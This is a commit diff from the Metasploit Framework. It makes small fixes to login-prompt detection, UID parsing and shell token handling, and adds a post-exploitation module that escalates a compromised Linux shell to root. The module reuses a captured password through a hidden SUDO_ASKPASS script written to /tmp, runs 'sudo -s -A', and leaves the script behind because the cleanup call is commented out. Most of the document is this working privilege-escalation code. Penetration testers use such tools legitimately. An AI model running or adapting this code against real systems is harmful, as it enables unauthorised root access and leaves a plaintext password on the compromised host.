commit
55367fad4f
|
@ -130,7 +130,7 @@ module Auxiliary::Login
|
||||||
end
|
end
|
||||||
|
|
||||||
def password_prompt?
|
def password_prompt?
|
||||||
return true if @recvd =~ @password_regex
|
return true if(@recvd =~ @password_regex or @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -6,19 +6,22 @@ module Linux
|
||||||
module Priv
|
module Priv
|
||||||
include ::Msf::Post::Common
|
include ::Msf::Post::Common
|
||||||
|
|
||||||
# Returns true if running as root, false if not.
|
# Returns true if running as root, false if not.
|
||||||
def is_root?
|
def is_root?
|
||||||
root_priv = false
|
root_priv = false
|
||||||
user_id = cmd_exec("id -u")
|
user_id = cmd_exec("id -u")
|
||||||
if user_id.to_i == 0
|
clean_user_id = user_id.to_s.gsub(/[^\d]/,"")
|
||||||
|
unless clean_user_id.empty?
|
||||||
|
if clean_user_id =~ /^0$/
|
||||||
root_priv = true
|
root_priv = true
|
||||||
elsif user_id =~ /^\d*$/
|
elsif clean_user_id =~ /^\d*$/
|
||||||
root_priv = false
|
root_priv = false
|
||||||
else
|
|
||||||
raise "Could not determine UID: #{user_id}"
|
|
||||||
end
|
end
|
||||||
return root_priv
|
else
|
||||||
|
raise "Could not determine UID: #{user_id.inspect}"
|
||||||
end
|
end
|
||||||
|
return root_priv
|
||||||
|
end
|
||||||
|
|
||||||
end # Priv
|
end # Priv
|
||||||
end # Linux
|
end # Linux
|
||||||
|
|
|
@ -91,12 +91,28 @@ module SingleCommandShell
|
||||||
def shell_command_token_unix(cmd, timeout=10)
|
def shell_command_token_unix(cmd, timeout=10)
|
||||||
# read any pending data
|
# read any pending data
|
||||||
buf = shell_read(-1, 0.01)
|
buf = shell_read(-1, 0.01)
|
||||||
|
set_shell_token_index(timeout)
|
||||||
token = ::Rex::Text.rand_text_alpha(32)
|
token = ::Rex::Text.rand_text_alpha(32)
|
||||||
|
|
||||||
# Send the command to the session's stdin.
|
# Send the command to the session's stdin.
|
||||||
# NOTE: if the session echoes input we don't need to echo the token twice.
|
|
||||||
shell_write(cmd + ";echo #{token}\n")
|
shell_write(cmd + ";echo #{token}\n")
|
||||||
shell_read_until_token(token, 0, timeout)
|
shell_read_until_token(token, @shell_token_index, timeout)
|
||||||
|
end
|
||||||
|
|
||||||
|
# NOTE: if the session echoes input we don't need to echo the token twice.
|
||||||
|
# This setting will persist for the duration of the session.
|
||||||
|
def set_shell_token_index(timeout)
|
||||||
|
return @shell_token_index if @shell_token_index
|
||||||
|
token = ::Rex::Text.rand_text_alpha(32)
|
||||||
|
numeric_token = rand(0xffffffff) + 1
|
||||||
|
cmd = "echo #{numeric_token}"
|
||||||
|
shell_write(cmd + ";echo #{token}\n")
|
||||||
|
res = shell_read_until_token(token, 0, timeout)
|
||||||
|
if res.to_i == numeric_token
|
||||||
|
@shell_token_index = 0
|
||||||
|
else
|
||||||
|
@shell_token_index = 1
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,133 @@
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# ## This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/linux/priv'
|
||||||
|
require 'msf/core/post/linux/system'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::Priv
|
||||||
|
include Msf::Post::Linux::System
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Linux Post Sudo Upgrade Shell',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to upgrade a shell account to UID 0 by reusing the
|
||||||
|
given password and passing it to sudo. This technique relies on sudo
|
||||||
|
versions from 2008 and later which support -A.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'todb <todb[at]metasploit.com>'],
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'Platform' => [ 'linux' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
# Askpass first added March 2, 2008, looks like
|
||||||
|
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
|
||||||
|
],
|
||||||
|
'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
# Run Method for when run command is issued
|
||||||
|
def run
|
||||||
|
print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
|
||||||
|
sudo_bin = cmd_exec("which sudo")
|
||||||
|
if is_root?
|
||||||
|
print_status "Already root, so no need to upgrade permissions. Aborting."
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if sudo_bin.empty?
|
||||||
|
print_error "No sudo binary available. Aborting."
|
||||||
|
return
|
||||||
|
end
|
||||||
|
get_root()
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_root
|
||||||
|
password = session.exploit_datastore['PASSWORD']
|
||||||
|
if password.to_s.empty?
|
||||||
|
print_status "No password available, trying a passwordless sudo."
|
||||||
|
else
|
||||||
|
print_status "Sudoing with password `#{password}'."
|
||||||
|
end
|
||||||
|
askpass_sudo(password)
|
||||||
|
unless is_root?
|
||||||
|
print_error "SUDO: Didn't work out, still a mere user."
|
||||||
|
else
|
||||||
|
print_good "SUDO: Root shell secured."
|
||||||
|
report_note(
|
||||||
|
:host => session,
|
||||||
|
:type => "host.escalation",
|
||||||
|
:data => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: test on more platforms
|
||||||
|
def askpass_sudo(password)
|
||||||
|
if password.to_s.empty?
|
||||||
|
begin
|
||||||
|
::Timeout.timeout(30) do
|
||||||
|
cmd_exec("sudo -s")
|
||||||
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_error "SUDO: Passwordless sudo timed out. Might be blocking."
|
||||||
|
rescue
|
||||||
|
print_error "SUDO: Passwordless sudo failed. Check the session log."
|
||||||
|
end
|
||||||
|
else
|
||||||
|
askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
|
||||||
|
begin
|
||||||
|
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
|
||||||
|
# Generally will be much snappier over ssh.
|
||||||
|
# Need to timeout in case there's a blocking prompt after all
|
||||||
|
::Timeout.timeout(120) do
|
||||||
|
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
|
||||||
|
cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
|
||||||
|
cmd_exec("echo echo #{password} >> #{askpass_sh}")
|
||||||
|
vprint_status "Setting executable bit."
|
||||||
|
cmd_exec("chmod +x #{askpass_sh}")
|
||||||
|
vprint_status "Setting environment variable."
|
||||||
|
# Bruteforce the set command. At least one should work.
|
||||||
|
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
|
||||||
|
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
|
||||||
|
vprint_status "Executing sudo -s -A"
|
||||||
|
cmd_exec("sudo -s -A")
|
||||||
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_error "SUDO: Sudo with a password timed out."
|
||||||
|
rescue
|
||||||
|
print_error "SUDO: Sudo with a password failed. Check the session log."
|
||||||
|
end
|
||||||
|
# askpass_cleanup(askpass_sh)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def askpass_cleanup(askpass_sh)
|
||||||
|
begin
|
||||||
|
::Timeout.timeout(20) do
|
||||||
|
vprint_status "Deleting the SUDO_ASKPASS script."
|
||||||
|
cmd_exec("rm #{askpass_sh}")
|
||||||
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_error "Timed out during sudo cleanup."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue